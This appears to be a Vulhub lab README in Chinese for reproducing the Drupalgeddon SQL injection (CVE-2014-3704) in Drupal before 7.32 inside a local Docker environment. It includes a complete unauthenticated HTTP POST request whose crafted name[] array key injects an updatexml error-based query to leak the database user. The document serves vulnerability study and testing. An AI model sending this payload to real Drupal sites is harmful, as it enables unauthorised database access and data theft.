Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
51 lines
1.5 KiB
Markdown
51 lines
1.5 KiB
Markdown
# Drupal < 7.32 "Drupalgeddon" SQL注入漏洞(CVE-2014-3704)
|
||
|
||
Drupal是一个使用PHP编写的免费开源的Web内容管理框架,在GNU通用公共许可证下分发。
|
||
|
||
在Drupal Core 7.32版本之前的7.x版本中,数据库抽象API中的expandArguments函数没有正确构造预处理语句,这允许远程攻击者通过包含精心构造的键的数组进行SQL注入攻击。
|
||
|
||
参考链接:
|
||
|
||
- <https://www.drupal.org/SA-CORE-2014-005>
|
||
- <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704>
|
||
|
||
## 环境搭建
|
||
|
||
执行如下命令启动一个Drupal 7.31服务器:
|
||
|
||
```
|
||
docker compose up -d
|
||
```
|
||
|
||
环境启动后,访问`http://your-ip:8080`将会看到Drupal的安装向导,使用默认配置进行安装。
|
||
|
||
注意:MySQL数据库名为`drupal`,数据库用户名和密码均为`root`,地址为`mysql`:
|
||
|
||

|
||
|
||
安装完成后,即可访问首页:
|
||
|
||

|
||
|
||
## 漏洞复现
|
||
|
||
该SQL注入漏洞无需身份认证,可以通过发送以下请求来执行恶意SQL语句:
|
||
|
||
```
|
||
POST /?q=node&destination=node HTTP/1.1
|
||
Host: your-ip:8080
|
||
Accept-Encoding: gzip, deflate
|
||
Accept: */*
|
||
Accept-Language: en
|
||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
|
||
Connection: close
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Content-Length: 120
|
||
|
||
pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a
|
||
```
|
||
|
||
如图所示,SQL语句报错信息中包含了用户数据:
|
||
|
||

|